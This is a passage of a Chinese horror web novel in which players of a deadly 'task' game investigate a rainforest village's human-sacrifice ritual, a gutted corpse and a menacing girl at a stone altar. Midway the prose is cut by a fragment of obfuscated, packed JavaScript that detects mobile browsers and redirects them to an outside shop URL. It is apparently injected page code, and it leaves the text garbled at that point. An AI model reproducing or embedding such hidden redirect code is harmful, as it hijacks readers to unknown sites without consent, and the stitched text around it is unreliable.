往下看,他的内脏都被掏了出来,现在剩下的只有一个被掏干净的躯体。 彦歌的瞳孔下意识一缩。 “他死的这么惨,脸上竟然没看到一丝痛苦?”彦歌眉头微蹙。 “是这个。”秦允突然拿着一小块黑色东西走了过来,“昨晚我房间里也有,这个应该就是他死的原因了。” 秦允像是担心她不懂,又加了一句:“这应该就是死亡条件。” 彦歌对秦允投去满意的一眼。 “我昨晚房间里也有,不过我扔出去了。” “我也扔了。”秦允转身看向门口的人,“你们也扔了对吧?” 其余人纷纷点了点头。 “李青青的是我扔的,她昨天来问我这个是什么。”李青青受不了躲到大厅去了,圆脸女便出口替她解释。 而就在众人纷纷叙述时,平时一向出头的黄毛此时却安静的躲在人群后,裸露出的一点肩膀正在微微颤抖着。彦歌眉梢轻挑,猛地一下提高音量:“喂!你怎么了?” “我,我没事啊?”突然被点名的黄毛双眼下意识轻轻闪烁了一下,身体也往后退了一步。 彦歌目光如炬:“他的死不会跟你有关系吧?” 黄毛猛地抬头瞪了一眼彦歌,音量不自觉提高了几个度:“你乱说什么呢?!” 彦歌没出声,只抱着双臂静静看着他。 其他人虽不知彦歌何出此言,但黄毛这幅明显心虚的样子也着实让人忍不住不怀疑。周围人的目光像针一样扎向黄毛本就有些脆弱的神经,他忍着狂跳不止的心跳,凶狠地瞪着众人,几乎怒吼道:“跟我没关系!你们都这样看着我干什么?!” 见此,杨伟立马上前抓住黄毛的肩膀,安抚地捏了两下,语气努力柔和:“刘飞!小飞……我相信你,大家也都没有恶意,你要是真的知道点什么赶紧说出来别藏着掖着!” 杨伟的眼神让刘飞安心了不少,他稳了稳心神,慢慢说到:“我……我昨天回来的时候看到王天天鬼鬼祟祟地从三楼跑下来,我怀疑他在干坏事,就喊了一声,没想到把他吓了一跳,转身就跑回房间了。三楼虽然跟我没关系,但为了以防万一,我还是回房间里里外外搜了一遍。” 刘飞吞了口口水,接着说:“接着我就找到了那个石块,但我清楚记得刚进来时是没有的,后面我在杨哥房间里也找到了这个,我就怀疑是王天天放的,然后……然后我就把它放到王天天房间了……” 杨伟听完这话豁然开朗,有些恍然大悟道:“所以是你把那个石块找到然后放在桌子上的?我还以为谁从窗户扔进来的呢...你找到了为什么不立马告诉我?” 刘飞低着头,样子看上去很老实,但说出的话让杨伟刚熄下去的怒火“蹭”地一下又冒了上来。 “我告诉你,你肯定不会让我这么干的......” “你!”杨伟气的一时不知道说什么,在原地转了几圈后才恨铁不成钢地指着刘飞:“你是不是蠢!” “他先害我们的!”刘飞梗着头反驳。 彦歌被刘飞整的有点想笑了。有句话怎么说来着?蠢人一思考,上帝就发笑。 杨伟气的半天说不出话,捂着双眼叹气。 “王天天性格懦弱胆小,这石块一定不是他自己找到的,一定是别人给的,这个人一定是课题中的关键人物。”卷毛男叹了口气,有些无奈地看向刘飞:“你太冲动了。如果我们拿着这个去逼问他,以他的性格一定瞒不住的。” 刘飞这下终于知道自己干了什么,他难得羞愧的说不出话。 “算了,事已至此。”秦允倒是一副情绪稳定的样子。 “王天天的死法古怪,我猜测跟课题有关。” 课题是祭祀,而王天天面带微笑被掏空内脏的尸体像极了像敬仰神明献祭的疯狂信徒。 彦歌点头:“这个村子是在热带雨林的深处,周围除了它再没有别的村庄。现实里这种深山老林里的村子都不怎么正常,课题里估计更甚,我认为他们的祭祀极可能是拿活人献祭。” “既然我们已经差不多弄清了,那我们就先下楼吃早饭吧,边吃边说?”圆脸女实在不想和尸体呆在一起了。 彦歌双手双脚支持,再闻下去她真的要吐了。 “尸体就这样一直放着?”彦歌和秦允掉在末尾,悄声说话。 “不会,过几个小时就消失了。” 彦歌这下放心了。否则就这个天气,别说七天,估计今天晚上整个竹楼都会被尸臭浸透。 “你不怕吗?”秦允眼神复杂地望向彦歌。 “只是尸体而已,有什么可怕的?”彦歌平静地看了眼秦允,接着快步跟上前面的队伍。 现在新人真是越来越厉害了。秦允有些自愧不如地低头叹了口气。 正是因为他这一低头,导致他正好错过彦歌下意识松开一瞬的手掌——那上面布满深深的掐痕。 “王天天为什么要这么做?!”得知一切的李青青一脸不可思议地瞪大双眼。 “不知道,但一 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彦歌睨了他一眼,语气平缓:“不用,我一个人可以。你赶紧跟着他们去找有关黑色石块的线索,别让他们把线索吞了。” 说完彦歌就走了,一副独断专权的样子。 秦允盯着彦歌略显单薄的背影看了会儿,随即悄声回到前面的队伍中。 彦歌跟着一群背着大筐小筐的村民来到那所谓的“集市”。 说是集市,人却少的可怜。摆摊的村民人人裹着一身黑布,面前皆是一个竹筐挨着一个竹筐,这些竹筐全部都用盖子紧紧盖着,从外部几乎什么也看不出来。彦歌只能从竹筐上泛着的油光和底部渗出的一些不明汁水猜测这里面估计不是什么好东西。 摆摊的村民很多,一个挨着一个,一直蔓延到远处的山脚。但是买家却很少,只有零星的几个人,而且基本都不是本村的。这些村民行为诡异,以防万一,彦歌决定先找个买家问问。 “大哥,看着不是村里的吧?”彦歌露出抹微笑,拍了拍前面大哥的肩膀。 大哥面色有些惨白,双眼控制不住地四处瞟,被彦歌突然一拍差点吓得叫出声。转头刚想骂人,却在见到彦歌脸的那一刻火息烟消:“...你也不是村子里的吧?” “对,我是来旅游的。” “哦,我是隔壁村的。你也看到了,这大山里什么都没有,我们想买东西除了出去就只能向别人买了。所以每个月我们都有一次集会,方便我们互相采买东西。” 接着大哥像是惧怕什么似得咽了下口水:“不过你也看到了,这个村里的人奇奇怪怪的。我们一般都不来这,我这次是买的不多,图方便才来这。” 彦歌了然地点点头,随即摆出一副好奇疑惑的表情:“原来如此,那你知道这村子是怎么回事吗?” 大哥忽然四处张望,确定没人发现他们后才小心翼翼道:“这村子不知道在干什么,从一二十年前吧,莫名其妙就开始经常死人,最开始我们也没在意,谁知道......谁知道后面路过这个村子的人也经常会莫名其妙失踪,久而久之,我们就不敢来了,附近的村子也慢慢搬走了...” 说着大哥又热心嘱咐:“你也少来这村子,不干净!” “谢谢。” 告别大哥后,彦歌准备挑个村民试探着问问,却在摆摊的村民中看到那天在大巴上和她坐在一起的小女孩。 她怎么会在这里?难道当时车上其他多余的人也是村民? 彦歌微微睁大双眼。 5. 人祭(5) “小妹妹,你一个人卖东西吗?” 彦歌微微俯身看向小女孩。 小女孩蹲坐在小小的木头板凳上,低着头看着摆在面前的东西,许久才抬头看向彦歌:“大人不在,不卖东西。” 彦歌看了眼女孩卖的东西,和其他村民一样用一个个的竹篓包着,完全看不出里面装的是什么。 “你家大人去哪里了?” 小女孩双手平放在腿上,只抬起一颗脑袋,两只黑黝黝的眼珠一错不错地盯着彦歌重复:“大人不在,不卖东西。” “......” 小孩就是烦人。彦歌绷着脸直起身,将视线转向周围。 小女孩摊位的竹篓已经很旧了,竹条已经发黄变黑,不似其他村民那样是新编的。再加上小女孩破旧的衣衫,她们家应该条件不是很好。 既然这样...... 彦歌看了眼自己身上唯一有价值的腕表。 “我用这个表,换你卖的东西怎么样?”彦歌摘下手表,递到小女孩眼前。 小女孩身体如木头般纹丝不动,看都没看,只机械地重复:“大人不在,不卖东西。” 彦歌抿着唇,见小女孩确实不要后将表重新带回手上。 不要就不要,她新买的百达翡丽都没带几天,还有点舍不得呢。 “你卖的是什么?这个总能说了吧?”彦歌指着小女孩面前的竹筐问。 此话一出,小女孩的头颅瞬间抬起看向彦歌,她苍白起皮的唇瓣倏地升起一抹笑,黑黢黢的大眼睛弯了弯,语气带着一股不加掩饰的恶意:“你不知道我卖的是什么?” “我……” 彦歌瞳孔一缩,直觉让她下意识起身往后退了几步。 小女孩没动,但视线却随着彦歌的动向移动,整个人像是被线牵引着的木偶。 她的嘴角越裂越大,原本就大的瞳孔此时变的更大,几乎有蔓延整个眼眶的趋势。小女孩咯咯笑了几声,随即蓦地提高声音,尖锐的嗓音几乎刺破彦歌的耳膜:“你不知道我卖的是什么?!” 周围的村民听到这边的动静,都侧头往这看。僵硬阴冷的目光在彦歌身上来回打量,所幸小女孩的摊位离他们有一段距离,他们听的并不真切,只远远望着,并没有过来的迹象。 彦歌皱起眉头,眸中划过一丝凝重。 绝对不能让其他村民过来。 彦歌在小女孩即将喊出下一声时火速上前捂住小女孩的嘴。 “闭嘴!”彦歌低喝一声。 “唔唔唔!” 小女孩的力气出奇的大,彦歌庆幸自己高中时练了几手,否则早就被她挣脱开了。 “别挣扎了,如果你还想见到你妈的话你就安分一点。”彦歌冷着脸威胁小女孩。 或许是觉得自己真的挣脱不开,小女孩动作慢慢停了,但眼里不加掩饰的恶意仍无声朝着彦歌呐喊。 不过即使小女孩不摆出这幅样子,彦歌也不会放开她。 小孩子是最不可信的。 彦歌一只手捂住她的嘴一只手提住她脖后的领子强制将她从凳子上拉起来:“跟我走。” 小女孩盯着彦歌没什么表情的脸看了几秒,最终不忿的妥协了。 这个村子里的人冷漠异常,即使看到小女孩跟着一个陌生的女性往山上走也没有任何一个人出声阻拦。 不过眼下正和彦歌意,否则她还真不好脱身了。 小女孩的摊位位于集市最后面,再加上与其他摊位隔了很远,所以没走几步她们就到了山脚。 这座山极似尖峰岭,高耸的树木直冲云天,粗壮的枝条和肥大的枝叶将山林几乎圈围。地上藤蔓、落叶和枝条纵横交错地堆在地面上,路旁的灌木丛和众多彦歌不认识的植物密密匝匝堵住了林子的入口,让人感觉只要偏离了这唯一的道路就再也无法逃离。 彦歌牵着小女孩沿着山路向上走,一直走到快到半山腰时才停下。 “你自己能回去吧。” 这句话听上去像问句,实际上确是陈述句。彦歌说完就转身走了,并不在乎她到底能不能回去。 小女孩并没说话,只沉默站在原地盯着彦歌的背影,眉梢高高挑起。 莫名地,彦歌感觉背后像是有无数蚂蚁慢慢往上爬。一股难以言喻的古怪瞬间充斥彦歌心间,她下意识打了个冷颤。 彦歌骤然转身,拧眉看向小女孩。 幽深的黑瞳盛满不知从何而来的浓郁恶意,小女孩嘴角再次咧出一个笑:“欢迎来到热带雨林。” 这句话是什么意思? 彦歌的心脏随着这句话的出现开始不受控制地狂跳,她拧眉盯着小女孩看了几眼,随后毫不犹豫地转身下山。 但没走多久,彦歌就停了下来。 她的面前竟然出现了两条路。 山上一路走的都是一条路,期间也没有看见过第二条路,甚至连荒废的小路也没有。可眼下,竟无端生出第二条路。 此时虽离山脚不算远,但也无法一眼望到尽头。这山十分陡峭,彦歌无法用视觉判断走哪条,而凭直觉,在课题中更是死路一条。 彦歌面无表情的在原地站了几秒,然后果断转身往回走。 意料之中的,小女孩不见了。 她刚才并没有听见任何声音,说明小女孩跟她走不是的同一条路而是一条她不知道的、隐蔽安全的路。 彦歌神色晦暗地站在刚才小女孩站的地方,没有一点痕迹,就好像她凭空消失了一般。 . 秦允跟着他们进入村子后,那些人就以分头行动效率更快为由几人一组分开了。见他们个个藏头藏尾,秦允便没再跟着,转身独自离开寻找线索。 今天村民几乎都去集市了,整个村子安静的宛如空城。 普通村民的家没有太大价值。于是秦允准备趁村长不在潜进村长家里,可刚走到门口就看到杨伟和刘飞走进去。 秦允躲在墙角,确定他们完全进去后才悄声跟了进去。 他们两个似乎很担心落单会出事,一直都是两个人行动,这样反倒给秦允提供了大大的便利,让他能随心所欲地搜寻线索。 村长家与其他村民破败的土房不同。他的家很大,粗略看下来大概有六七个房间,而且房间大多贴了瓷砖。 因为杨伟和刘飞先去了左边的房间,秦允就只能先前往右边的房间。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662063|188491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这边的房间大部分都是女眷的和杂物间,除了能知道村长有两个女儿,一个女儿貌似还死了个儿子以外没什么有用的线索。 秦允将东西复原后前往左边的房间。 客厅稍微有些凌乱,杨伟和刘飞应该草草搜寻了一会儿发现没什么有价值的东西就离开前往村长房间了。 秦允轻扫一眼后继续往村长房间走。 杨伟和刘飞此时仍专心致志地在村长房里搜寻,里面几乎被翻得一团乱麻,看来目前还没有找出任何有用的线索。 “杨哥,你看这个!”刘飞不知道从床底找到了什么,一脸惊喜地看向杨伟。 杨伟停下手中的动作,走到刘飞身边:“什么?” 那是一本有些破旧的书,页脚已经泛黄卷翘,看上去很有一些年头了。 秦允贴在窗边,因为怕被发现所以动作不敢太大,只能从贴着窗沿的那一小块视野和他们的交谈来判断那是什么东西。 杨伟接过刘飞手里的书随意翻了几页后,声音带着压抑不住的惊喜:“这是族谱!小飞,这可是重大线索!” 族谱?秦允拧眉。 刘飞的声音很是沾沾自喜,秦允不需要看就能想象出他现在的姿态有多么趾高气扬:“哈哈!杨哥,我很厉害吧?我早就......” 外面突如其来的脚步声打断了刘飞未说完的话。 “怎么回事?”刘飞有些紧张地问。 而秦允在听到声音的那一刻就已经迅速贴到大门探看——是村长,他们回来了。 秦允扭头看了眼房内的二人,又望了望前方即将到来的几人,思考几秒后果断转身离开了村长家。 小女孩是人。彦歌刚才牵着她时清晰得感受到了她温热的体温。 既然是人,那离开就不可能不留下痕迹。 彦歌在周围仔细巡查了一番,最终发现一处有些塌下的灌木丛,痕迹很浅,不仔细看的话几乎看不出来。 应该就是这里了。 彦歌直起身,果断跟着痕迹往前走。 没多久痕迹就消失了,而痕迹消失的终点则是一条曲折幽深的小路。小路上布满藤蔓与碎枝,几乎将小路尽数掩盖。 看来这条路已经很久没人走了。在这种山上没人走的路意味着什么就连三岁小孩都知道,可那诡异离奇的两条路却也令人望而却步。 彦歌站在原地冷静思考了几秒,最终决定沿着小路往前走。 那两条路显然小女孩是知情的,目的就是为了害她。而这条路,虽不知到底会遇见什么,但跟那两条路相比,或许尚有一线生机。 彦歌沿着小路一直走,一直走到位于尽头的巨大的祭坛时才停下来。 这个祭坛整体呈圆形,大概有二三米高,周围矗立着四个石柱,石柱上刻着一些古怪的花纹,看上去像是某种文字。石柱中间是一个巨大的石盘,石盘中间有两个圆环,内环什么都没有,外环则分为一个个小块。 看来这一切都是小女孩设计的。走岔路口,选错了就是死,或者两条都是死;走小路,进了这个祭坛,估计也是九死一生。 彦歌站在祭坛底下静静地仰头望了会儿,尔后抬步走上台阶。 6. 人祭(6) 彦歌在即将踏上祭坛时停了下来。 祭坛内环沾染着一些或褐色或黑色的印记,颜色很深,也很多,杂乱的散落在内环中;外环共分为六个石块,每个石块上分别雕刻着不同的东西。从形状上来看,这些应该分别代表鳄鱼,鸟,蛇,熊,树以及一团像呕吐物一样的不明物体。其中蛇、鳄鱼以及呕吐物的部分是凸起的,其他则是凹陷的。 而四个石柱上雕刻的文字,彦歌虽从未见过,但根据从小到大接触的恐怖故事来判断,也能猜到这绝非善类。 这应该就是村子祭祀的地点了。 此地不宜久留,彦歌将周围细细探查后便准备离开。 可就在彦歌转身想下台阶的一瞬,一双不知从何而来的手抚上她的后背,将她狠狠推进了祭坛中心! ! 这双手的主人用力极大,像是生怕无法一次将彦歌准确推入一般。彦歌在地上喘息了几秒才踉跄地爬起来,目光阴沉地看向台阶上的人。 是小女孩。难怪会使这么大的力,看来刚才被彦歌钳制的事让她狠狠长了记性。 只是......她是怎么悄无声息出现在她身后的? 祭坛虽有明显打扫的痕迹,但祭坛周围却是杂草丛生。要想不发出一点声音走上祭坛,几乎是不可能的。 她究竟是如何出现的? 彦歌不动声色地打量起周遭,发现不远处的树顶有轻微的颤抖。 可现在并未刮风。 小女孩浑然不知彦歌心中所想,只觉得计谋得逞,心中大快:“我在路口等你很久都没等到,想着你会不会是来这里了。” “没想到啊。”小女孩压眉抬眼,森冷地盯着彦歌。 “你居然真的能找到这里。看来你确实有点东西,不过虽然有点差错,但也不影响。”小女孩嘴角带起几分笑意,脚步下意识往前走了几步,却在即将踏上祭坛时停了下来,只将身体微微前倾,“只是这种方式会有点痛苦罢了~” 而面对小女孩的挑衅,彦歌只沉默地站在原地,一句话没说,仿佛已经认命了一般。 切,看来也不过如此。 小女孩无趣地打了个哈欠,便准备离开祭坛,却在转身的那一秒被彦歌猛地一把拉进祭坛。 ?! “没人告诉你,自己用过招数,对方也会用吗?” 彦歌的呼吸浅浅打在小女孩脖颈。 小女孩扭头看向彦歌。 那双黑瞳平静如湖水,可小女孩却平白感觉里面正旋起一股股巨浪,几乎要冲出眼眶直击她的心脏。 不对?!我怕她干什么? 小女孩猛地挣开桎梏,冒火的眸子死死瞪着彦歌:“你想干什么?!” 彦歌稳了稳身形,拍手轻轻拍了拍身上的灰尘,居高临下地看着小女孩:“我在想,我们一起进来的话,是你先死,还是我先死?” “你以为这样能杀了我?”小女孩阴沉地望着彦歌。 彦歌沉默地盯着她。 这小女孩从刚才到现在一步也没踏入祭坛,只敢站在台阶,甚至就连激动时也只是微微倾身,生怕自己一不小心就进来了。 显而易见,她自己也怕得要死。 虽然具体目的是什么尚且不知,但彦歌猜测小女孩跟这祭坛不是一边的,便赌了一把。看眼下小女孩这反应,她是赌对了。 “会死的只有你!” 小女孩的瞳孔不断放大,整双眼霎时变成浓郁的纯黑,嘴角高高咧开。 “行了,别吓人了。”如果小女孩真有实力还能被她拐上山吗? 彦歌抬手遮住小女孩的双眼,“别以为我不知道你想引后面的东西带你逃跑。” “你......!”小女孩直觉出不对,想准备逃时却发现为时已晚。 “你放开我!” 彦歌按住不停乱动地小女孩,轻轻一笑,温柔道:“只是力气大的话,是没用的哦。” 这小女孩要真有什么本事,刚才在集市就弄死她了,何必千方百计给她下套。 小女孩挣扎半天,发现确实不行后只得放弃,破罐子破摔地坐在地上:“你到底想干嘛?” 彦歌俯身看向小女孩恢复正常的双眼:“你把我推进来是为了什么?” “我......”小女孩似乎有些着急,不停地东看西看。 “不说我们就一起死。”彦歌将她死死按在原地,她有得是耐心。 “踏进祭坛的人意味着自愿向巴力神献祭,身上也会沾染巴力神的气息,无论逃到哪里都没用。”小女孩愤恨地锤了下地面,早知道她就不自己来了! “继续说。”彦歌抬脚踢了踢小女孩。 小女孩吃痛地挪了下屁股,怨毒地瞪了眼彦歌:“被选中的祭品将会在七天后被献祭!所以你现在不会死!” 七天后祭祀?彦歌微微眯眼。 看来这些村民连摆七天集市的目的就是为了祭祀了,不过祭祀前为什么要摆摊呢? 但这些现在不重要。彦歌静静地看着小女孩,她就说小孩最喜欢撒谎了。于是加大力度又踢了小女孩一脚。 “我劝你老实一点。” 她说的倒好,七天后祭祀,但刚才可是浑身都充斥着彦歌下一秒就要死的意思。 “......我说我说!不要踢我了!”小女孩捂着屁股大喊。 “不是所有人都可以成为祭品的,擅闯祭坛的人如果没有被巴力神选中的话会被祂吃掉!”说完,小女孩惊恐地看向彦歌:“我没骗你!” 彦歌没说话,只是脸色非常难看。 从小女孩这肆意妄为的样子来看,说明被选中的条件是非常苛刻的,所以她才会笃定自己一定会死。 “有什么办法吗?” “找到下一个替代你的人,把他推进去替你去死。” 小女孩说完慌乱地看了眼四周:“我可以走了吗?” 彦歌盯着小女孩半晌没出声,在小女孩被看的浑身发麻忍不住要开口时,彦歌忽然露出了一个灿烂的笑容。 这个笑使彦歌本就貌美的脸庞显得愈加夺目,只要是个审美正常的人都会为此感叹。但小女孩此时却只觉得悚然,因为彦歌的双眼阴冷的如同一块冬天深潭里的寒冰。 “所以,你就找我替代了?”彦歌轻缓的声音在小女孩此时听来就像索命的厉 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“我进祭坛后你就不会有事了,我身上有祂的气息,巴力神不会关注到你的。”小女孩语速很快。 “我能说的就这么多了,他们快来了,到时候别说我,你也得死!” 小女孩没骗人,彦歌已经听到从远处传来的越来越大的脚步声。 再问下去估计也问不出什么了,并且村民也快来了。 彦歌松开小女孩:“我怎么走?” 小女孩见彦歌终于放开她,心下松了口气:“你原路返回就好,别被村民发现了。” “没有岔路了吧?”彦歌眼带深意地望着她。 然而小女孩的话却有些出乎她意料:“我不知道,不过如果有,你就走左边的。” 彦歌眯着眼看着小女孩。 “我没骗你!”小女孩害怕地扭头看了眼身后,一脸急切道:“真的没骗你!再不走就来不及了!” “那个路是什么情况?”彦歌一边下台阶一边问。 “是里婆的招数!具体什么情况我也不知道!”小女孩连跑带跳地冲下台阶,拿出一个口哨开始吹。 “那你怎么知道走哪条?”彦歌看着天上被小女孩哨声唤出的白鸟问。 这只鸟体型异常大,粗略判断有五六米,通体雪白,只有鸟喙和爪子是金色的,在蔚蓝的天空下显得格外神圣漂亮。看来,这应该就是小女孩所说的觅鸟了。 “我不能告诉你!”小女孩火速爬上觅鸟的背。 彦歌趁机靠近摸了把鸟,好软。 “你为什么不带我一起下山?” 小女孩拂开彦歌的手,招呼觅鸟起飞:“我不下山!我下山不是找死吗?”说着就骑着鸟飞走了。 令人奇异的是,觅鸟如此大,飞起来却没发出一点声音,难怪刚才小女孩能悄无声息地出现在她背后。 “快快!别让她跑了!”小女孩刚走,雨林深处就传来村民的叫喊声。 不过几分钟的时间,村民居然已经到了。怪不得那小女孩跑得如此快。 彦歌面色一沉,矮身躲进了灌木丛中。 7. 人祭(7) 彦歌刚走出村子,就远远看到一个身影站在竹楼门口。 出事了吗? 彦歌下意识加快脚步,结果走近了才发现,门口那人,竟然是秦允。 没等彦歌走到竹楼,秦允就火速上前走到了她面前。 “先别回去。”秦允在彦歌耳边低声道。 “跟我走。” 彦歌眉梢一挑,调转方向跟着秦允又原路返回回了村庄。 秦允走到一个土房背后的角落后便停住了。 “怎么了?”彦歌盯着秦允的背影问。 “我本想趁村民赶集去村长房里寻找线索,结果却让杨伟和刘飞抢先一步。我跟着他们后面暗中观察,发现他们在村长房间找到了族谱。”秦允一边说一边转过身,“我本想看看里面是什么,结果这时候村长突然回来了......” 秦允话锋一顿,皱着眉上下打量了彦歌一番:“你怎么受伤了?还如此......” 狼狈。即使秦允不说彦歌也能猜到。 其实彦歌本来没这么惨的。本来只是被小女孩推了一下,脏了点而已。 可谁知道那些村民来的那么快。她不像小女孩有外挂,能飞,她就一双腿,她再小心也做不到不发出一点声音。 所以彦歌只能先躲起来。 结果因为情况紧急,加上她运气又不太好,随便选的灌木丛上长满了藤蔓与倒刺,把她腿划了个大口子。 她好不容易忍着剧痛熬走了那群人,结果起来的时候一时腿软,又把裙子划烂了。 ......彦歌已经彻底无语了。 “好了,这不重要。你赶紧接着说吧。”彦歌不耐地挥了挥手,她一点不想看秦允这幅同情的样子。 “...好,我看村长来者不善,我便提前走了。因为担心他们拿走族谱,我就回到了竹楼等待。”秦允说着,神色变得有些凝重,“我没等多久他们就回来了,但是身上没有族谱,也没有打斗的痕迹。我猜他们应该没拿走。” 彦歌拖着伤腿坐在一旁的台阶上,她强撑着走了这么久,实在是有点支撑不住了。 “所以你想等我回来再去村长家一次?” 秦允点头:“不过你现在受伤了,我们明天去也可以。” 彦歌将裙子干净的部分撕下,利落地包扎好伤口后才抬头看向秦允:“即使我没受伤,现在也不能去。” 秦允愣了一下,随即明白了彦歌的意思。 村民在山上没找到祭品,现在村长一定很焦虑,说不定又在家里开会,所以此时搜寻,危险万分。 “晚上你试探一下他们,摸摸底。”彦歌眼底浮现一抹笑意,“重点问刘飞,一定会有收获的。” 秦允听完这话,原本凝重的表情僵了一瞬。他怎么嗅到了一丝恶趣味? “明白。还有件事,你刚才说的小女孩,我怀疑她就是这次课题的重点。” 考虑到彦歌是新人,秦允又解释道:“你已经知道我们离开课题的方法就是找到课题主线,根据主线完成课题。这个意思的重点就是,我们要使课题的主线能够顺利进行,并成功完成。” “课题是祭祀,而小女孩又是出逃的祭品,所以我猜测我们这次的主线任务就是让祭祀顺利进行。” 彦歌没说话,只若有所思地盯着地上的一个土块。 秦允不是一个热情的人,他一次性说这么多话已经很难得了,眼下彦歌不吱声,他也不知道说什么,便跟彦歌一起沉默地坐在台阶上。 谁知他刚坐下来,彦歌就开口了:“所以顺着你的话往下推,我们把小女孩抓给村民然后完成祭祀就可以了?” 秦允抿了抿唇:“......理论上是。” 彦歌刚才不是故意沉默的,只是伤口处的疼痛使她大脑短暂短路了一会儿,而秦允坐下时发生的声音,正好将她意识拉了回来。 “你过了几个课题了?”彦歌忽然问。 “这是第三个。”秦允小小的叹了口气,再次开口为彦歌解释,“前三个课题是新人课题,除了和老人组队,基本不会遇到过过超过三个以上的。这也是为什么大家都不知道课题的原因。” “你这意思是你知道?”彦歌敏锐地察觉出秦允话里的疑点。 秦允看了眼彦歌,没多加隐瞒:“我知道,我之前碰到过带新人的老人,不过他们具体如何得知的我不知道。” 彦歌点点头,将话题重新扯了回来:“就现在的线索而言,你、刘飞、杨伟,你们三个都是第三个课题,那么你认为,这作为新老交替的第三个课题,会让我们在这么短的时间内就得到如此大的突破吗?” “所以我说理论上,具体如何,我们还需要更多的线索。”秦允并未介意彦歌的试探,反倒夸赞了她几句“其实根据我之前的经验,前三个课题都不算太难,而你这次又找到了课题,我们进展快一些也算正常。” 彦歌欣然收下秦允的夸赞,撑着台阶重新站起来:“谢谢你的夸奖,不过按你说的,我们还需要更多的线索。” “时间不早了,我们回去吧。我先走,你过会再跟上。”彦歌说完,就拖着腿一瘸一拐地往村外走。 秦允坐在台阶上,沉默地看着彦歌的背影一点一点消失后才起身离开。 竹楼内的气氛十分诡异。 杨伟和刘飞坐在大厅的一角,两人不知怀着什么心思,眼睛一直在其他人身上打转,一向爱挑衅彦歌的刘飞此时见了她这幅惨状也默不作声;李青青和卷毛男、锅盖男在厨房择菜,他们一直在试图和李青青搭话,李青青红着眼圈一副要说不说的样子。 圆脸女背着身子在灶台,彦歌看不清表情,但从挨着厨房门口坐着的寸头男来看,李青青这幅样子估计跟他俩脱不了干系。 这些人还真是有意思。 彦歌一边往卫生间走一边想。 所幸她的伤口并不严重,只是看着吓人,只需要稍微清洗一下,避免发炎就好。 彦歌将衣柜里的衣服撕成一条一条的,当做绷带绑在腿上,所幸竹楼内清爽宜人,否则这么热的天气,五天下来伤口一定化脓溃烂了。 彦歌神色一冷,将绷带结实地绑好。 那群老东西最好祈祷这件事跟他们无关 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彦歌用筷子轻轻敲了敲碗边:“我是什么意思不重要,重要的是,其他人都走了,你们却留在这里,你们又是为了什么呢?” 卷毛男闻言看了眼彦歌身侧的秦允,忽然笑了一下:“哎呀哎呀,既然你都猜到了,我也不绕弯子了,我们合作怎么样?” 彦歌嗤笑一声,侧头瞄了眼秦允又看向卷毛男:“你们三个商量好了?” “咳。”秦允轻咳一声,沉声道:"他们手上有线索,而且上个课题我跟他们合作过,可信。" “哇。”彦歌一脸莫名地看向秦允,“咱俩现在还没信任吧?” “......”这话说的在理,他们认识不过两天,何谈信任。 秦允沉默了会,斟酌道:“你不想不合作也行。” 彦歌双手交叉拖住下巴,对着对面的卷毛男露出一个微笑:“可以合作,不过我得知道他们是用什么线索说服了你,又是为什么想合作。” 卷毛男见彦歌态度松动,心下一松,爽快开口:“我们今天看到他们三个去了祠堂,李青青八成是被他们骗了,恐怕活不过今晚了。” “至于为什么想合作,这个课题线索琐杂,就我们两个找到的终究有限。并且,看这些村民态度,我们很可能遇到围剿,盟友自然是越多越好。” 说的有理有据,彦歌好像确实没什么拒绝的理由。 “那么你们在祠堂看到什么了?” 卷毛男眨眨眼,神秘一笑:“明天我带你们去就知道了。” ......搞得好像是什么好事一样。 “好,那我先回去了。”彦歌打了个哈欠。 她感觉有些困了,说来也奇怪,在现实睡不着,在这她反倒睡的熟了。 不知是被彦歌打哈欠影响了还是怎样,秦允三人也不自觉打了个哈欠,便纷纷起身准备回房间。 可这一举动却反倒让彦歌猛地清醒。 不对!现在才不到九点,她怎么会困? 彦歌忽然想起王天天的死。 那样惨烈的死法,怎么没一个人听见? 8. 人祭(8) “等等。”彦歌突然出声叫住他们三个。 “你们在课题里,晚上都睡的怎么样?” 彦歌这句话没什么信息,但秦允却敏锐地发现了不对。 “我基本都是睡不着的。”秦允眼中划过一丝凝重,他就睡在王天天隔壁,昨晚却毫无察觉。 “这竹楼的味道估计有问题,能麻痹我们的心智。” “秦允说得对。”卷毛男和锅盖男后怕地对视了一眼,表情如出一辙的难看。 “还得多亏你提醒了,要不然,我们估计不知道什么时候就死了。”卷毛男苦笑一声,他没想到四个人里,居然是一个新人最先发现。 彦歌这次并没回应他们,只觉得有些怪异。 如此明显的差别,他们怎么会察觉不出?是自己多想了还是…… 彦歌抿抿唇,收起心中所想:“没事,现在发现了就好,就是这个气味无孔不入,我们很难不再次中招。” 卷毛男拍了拍自己的胸膛,甩出一个安心的眼神:“不用担心,我带了口罩!” “东西可以带进来?”其实彦歌本想问你怎么会带口罩?不过眼下这个问题并不重要,现在时间紧迫,还是捡重要的说。 卷毛男闻言奇异地看了眼秦允:“他没跟你说吗?可以带的,只是不同的课题,你的东西可能会发生一些变化。” 不等彦歌开口,秦允就迅速说道:“我刚才想跟你说我带了止血喷雾的,只是你走的太快了。” 好吧。彦歌收回谴责的目光:“那你现在给我。” 拿到了口罩和止血喷雾后,彦歌就回到了房间。与之前一样,她再次仔细地检查了一遍,不过这次没发现多余的东西。 但这次她心中却反倒不安起来。 希望口罩有用吧。 彦歌戴上口罩,躺在床上,不断暗示自己不要睡的太死。 . 李青青睡不着。 她的脑中不由自主地不断回想着白天的一切。每个细节,每个片段她都记得清清楚楚,她从未如此厌恶过自己的记性。 如果我都忘掉就好了,忘记......忘记就不会感到害怕了。 李青青缩在被子里小声抽泣。 早知道她就不去了,不去的话,再怎么样也不过被他们骂几句自己坐享其成之类的话,怎么样也不会死……不对!我不会死的……圣英姐……圣英姐和马力哥都说没事的……所以我不会死的…… 对,就是这样。他们都是老人了,说的一定不会错的。李青青不停地自我安慰,祈求能让自己忘记恐惧。 